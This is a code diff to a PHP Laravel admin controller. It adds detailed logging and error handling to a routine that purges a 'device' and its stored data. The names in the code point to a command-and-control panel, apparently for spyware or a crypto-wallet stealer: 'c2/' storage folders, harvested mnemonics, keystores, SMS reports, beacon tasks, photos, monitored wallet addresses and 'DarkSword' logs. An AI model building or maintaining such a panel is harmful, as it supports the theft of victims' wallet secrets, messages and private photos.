diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 3ec85c2..c64e6c7 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -219,7 +219,29 @@ class DeviceController extends Controller $this->authorizeDevice($device); $listUrl = route($this->portal().'.devices.index'); - $this->purgeDevice($device); + $started = microtime(true); + $ctx = $this->purgeContext($device); + Log::info('device_purge start', $ctx); + + try { + $this->purgeDevice($device, $ctx); + } catch (\Throwable $e) { + Log::error('device_purge failed', $ctx + [ + 'ms' => (int) ((microtime(true) - $started) * 1000), + 'error' => $e->getMessage(), + 'class' => $e::class, + 'at' => $e->getFile().':'.$e->getLine(), + ]); + + return response()->json([ + 'code' => 1, + 'msg' => '删除失败:'.$e->getMessage(), + ], 500); + } + + Log::info('device_purge done', $ctx + [ + 'ms' => (int) ((microtime(true) - $started) * 1000), + ]); return response()->json([ 'code' => 0, @@ -230,44 +252,66 @@ class DeviceController extends Controller ]); } - private function purgeDevice(Device $device): void + /** + * @param array $ctx + */ + private function purgeDevice(Device $device, array $ctx): void { - $this->deletePhotoFiles($device); - app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); - $this->deleteStorageDir('c2/photos/'.$device->device_id); - $this->deleteStorageDir('c2/inbox/'.$device->device_id); - $this->deleteStorageDir('c2/check/'.$device->device_id); - $this->deleteStorageDir('c2/ds-results/'.$device->device_id); - $this->deleteStorageDir('c2/ds-chunks/'.$device->device_id); - $this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id); - $this->unmonitorAddresses($device); - $this->purgeDarkSwordLogs($device); + $this->purgeStep($ctx, 'delete_photo_files', function () use ($device, $ctx) { + $n = $this->deletePhotoFiles($device); + Log::info('device_purge photos', $ctx + ['deleted_files' => $n]); + }); + $this->purgeStep($ctx, 'forget_previews', function () use ($device) { + app(PhotoPreview::class)->forgetForDevice((string) $device->device_id); + }); + foreach ([ + 'c2/photos/'.$device->device_id, + 'c2/inbox/'.$device->device_id, + 'c2/check/'.$device->device_id, + 'c2/ds-results/'.$device->device_id, + 'c2/ds-chunks/'.$device->device_id, + 'c2/plugin-sessions/'.$device->device_id, + ] as $dir) { + $this->purgeStep($ctx, 'delete_dir:'.$dir, fn () => $this->deleteStorageDir($dir, $ctx)); + } + $this->purgeStep($ctx, 'unmonitor', fn () => $this->unmonitorAddresses($device)); + $this->purgeStep($ctx, 'purge_ds_logs', fn () => $this->purgeDarkSwordLogs($device, $ctx)); - DB::transaction(function () use ($device) { - $device->apps()->delete(); - $device->events()->delete(); - $device->photos()->delete(); - $device->notes()->delete(); - $device->addresses()->delete(); - $device->mnemonics()->delete(); - $device->keystores()->delete(); - $device->pluginSessions()->delete(); - $device->smsReports()->delete(); - $device->beaconTasks()->delete(); - $device->delete(); + $this->purgeStep($ctx, 'db_transaction', function () use ($device) { + DB::transaction(function () use ($device) { + $device->apps()->delete(); + $device->events()->delete(); + $device->photos()->delete(); + $device->notes()->delete(); + $device->addresses()->delete(); + $device->mnemonics()->delete(); + $device->keystores()->delete(); + $device->pluginSessions()->delete(); + $device->smsReports()->delete(); + $device->beaconTasks()->delete(); + $device->delete(); + }); }); } - private function purgeDarkSwordLogs(Device $device): void + /** + * @param array $ctx + */ + private function purgeDarkSwordLogs(Device $device, array $ctx): void { $keys = $this->deviceLogKeys($device); if ($keys === []) { return; } - DsChainLog::query()->whereIn('client_uid', $keys)->delete(); - PageVisit::query()->whereIn('client_uid', $keys)->delete(); - $this->purgeDsFileLogs($keys); + $chain = DsChainLog::query()->whereIn('client_uid', $keys)->delete(); + $visits = PageVisit::query()->whereIn('client_uid', $keys)->delete(); + Log::info('device_purge ds_rows', $ctx + [ + 'keys' => $keys, + 'ds_chain_logs' => $chain, + 'page_visits' => $visits, + ]); + $this->purgeDsFileLogs($keys, $ctx); } /** @@ -289,8 +333,9 @@ class DeviceController extends Controller /** * @param list $keys + * @param array $ctx */ - private function purgeDsFileLogs(array $keys): void + private function purgeDsFileLogs(array $keys, array $ctx): void { $dir = public_path('log/ds'); if (! is_dir($dir)) { @@ -305,7 +350,10 @@ class DeviceController extends Controller return; } - foreach (glob($dir.'/*.log') ?: [] as $file) { + $files = glob($dir.'/*.log') ?: []; + $rewritten = 0; + $writeFails = []; + foreach ($files as $file) { $raw = @file_get_contents($file); if (! is_string($raw) || $raw === '') { continue; @@ -336,41 +384,167 @@ class DeviceController extends Controller continue; } $out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n"; - @file_put_contents($file, $out); + if (@file_put_contents($file, $out) === false) { + $writeFails[] = $this->pathDebug($file); + } else { + $rewritten++; + } } + Log::info('device_purge ds_files', $ctx + [ + 'dir' => $this->pathDebug($dir), + 'log_files' => count($files), + 'rewritten' => $rewritten, + 'write_fails' => $writeFails, + ]); } private function deletePhotoFiles(Device $device): int { $deletedFiles = 0; + $fails = []; + $disk = Storage::disk('local'); foreach ($device->photos()->get(['id', 'path']) as $photo) { $path = trim((string) ($photo->path ?? '')); - if ($path === '') { + if ($path === '' || ! $disk->exists($path)) { continue; } - if (Storage::disk('local')->exists($path)) { - Storage::disk('local')->delete($path); - $deletedFiles++; + try { + if ($disk->delete($path)) { + $deletedFiles++; + } else { + $fails[] = $this->pathDebug($disk->path($path)) + ['photo_id' => $photo->id]; + } + } catch (\Throwable $e) { + $fails[] = $this->pathDebug($disk->path($path)) + [ + 'photo_id' => $photo->id, + 'error' => $e->getMessage(), + ]; } } + if ($fails !== []) { + Log::warning('device_purge photo_file_fails', [ + 'id' => $device->id, + 'device_id' => $device->device_id, + 'fails' => array_slice($fails, 0, 8), + 'fail_count' => count($fails), + ]); + } return $deletedFiles; } - private function deleteStorageDir(string $dir): void + /** + * @param array $ctx + */ + private function deleteStorageDir(string $dir, array $ctx = []): void { + $disk = Storage::disk('local'); + $abs = $disk->path($dir); + $probe = $this->pathDebug($abs); try { - if (Storage::disk('local')->directoryExists($dir)) { - Storage::disk('local')->deleteDirectory($dir); + $exists = $disk->directoryExists($dir); + } catch (\Throwable $e) { + Log::warning('device_purge dir_stat_failed', $ctx + [ + 'dir' => $dir, + 'path' => $probe, + 'error' => $e->getMessage(), + ]); + + return; + } + if (! $exists) { + return; + } + try { + $ok = $disk->deleteDirectory($dir); + if ($ok) { + Log::info('device_purge dir_deleted', $ctx + ['dir' => $dir, 'path' => $probe]); + + return; } - } catch (\Throwable) { + Log::warning('device_purge dir_delete_false', $ctx + ['dir' => $dir, 'path' => $probe]); + } catch (\Throwable $e) { + Log::warning('device_purge dir_delete_failed', $ctx + [ + 'dir' => $dir, + 'path' => $probe, + 'error' => $e->getMessage(), + ]); try { - Storage::disk('local')->deleteDirectory($dir); - } catch (\Throwable) { + $disk->deleteDirectory($dir); + } catch (\Throwable $retry) { + Log::warning('device_purge dir_delete_retry_failed', $ctx + [ + 'dir' => $dir, + 'path' => $this->pathDebug($abs), + 'error' => $retry->getMessage(), + ]); } } } + /** + * @param array $ctx + */ + private function purgeStep(array $ctx, string $step, callable $fn): void + { + $t = microtime(true); + Log::info('device_purge step', $ctx + ['step' => $step]); + try { + $fn(); + } catch (\Throwable $e) { + Log::error('device_purge step_failed', $ctx + [ + 'step' => $step, + 'ms' => (int) ((microtime(true) - $t) * 1000), + 'error' => $e->getMessage(), + 'class' => $e::class, + 'at' => $e->getFile().':'.$e->getLine(), + ]); + throw $e; + } + } + + /** + * @return array + */ + private function purgeContext(Device $device): array + { + $uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid(); + $user = function_exists('posix_getpwuid') + ? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid) + : (string) $uid; + + return [ + 'id' => $device->id, + 'device_id' => $device->device_id, + 'php_user' => $user, + 'php_uid' => $uid, + ]; + } + + /** + * @return array + */ + private function pathDebug(string $abs): array + { + $info = [ + 'abs' => $abs, + 'exists' => file_exists($abs), + 'is_dir' => is_dir($abs), + 'readable' => is_readable($abs), + 'writable' => is_writable($abs), + ]; + if (! file_exists($abs)) { + return $info; + } + $info['perms'] = substr(sprintf('%o', (int) fileperms($abs)), -4); + $ownerUid = @fileowner($abs); + $info['owner_uid'] = $ownerUid; + if (function_exists('posix_getpwuid') && is_int($ownerUid)) { + $info['owner'] = posix_getpwuid($ownerUid)['name'] ?? (string) $ownerUid; + } + + return $info; + } + private function unmonitorAddresses(Device $device): void { $addresses = $device->addresses()->where('monitor', 1)->get(); diff --git a/app/Services/PhotoPreview.php b/app/Services/PhotoPreview.php index a00b778..2a25277 100644 --- a/app/Services/PhotoPreview.php +++ b/app/Services/PhotoPreview.php @@ -71,10 +71,20 @@ class PhotoPreview if (Storage::disk('local')->directoryExists($dir)) { Storage::disk('local')->deleteDirectory($dir); } - } catch (\Throwable) { + } catch (\Throwable $e) { + Log::warning('photo_preview forget_failed', [ + 'device_key' => $deviceKey, + 'dir' => $dir, + 'error' => $e->getMessage(), + ]); try { Storage::disk('local')->deleteDirectory($dir); - } catch (\Throwable) { + } catch (\Throwable $retry) { + Log::warning('photo_preview forget_retry_failed', [ + 'device_key' => $deviceKey, + 'dir' => $dir, + 'error' => $retry->getMessage(), + ]); } } }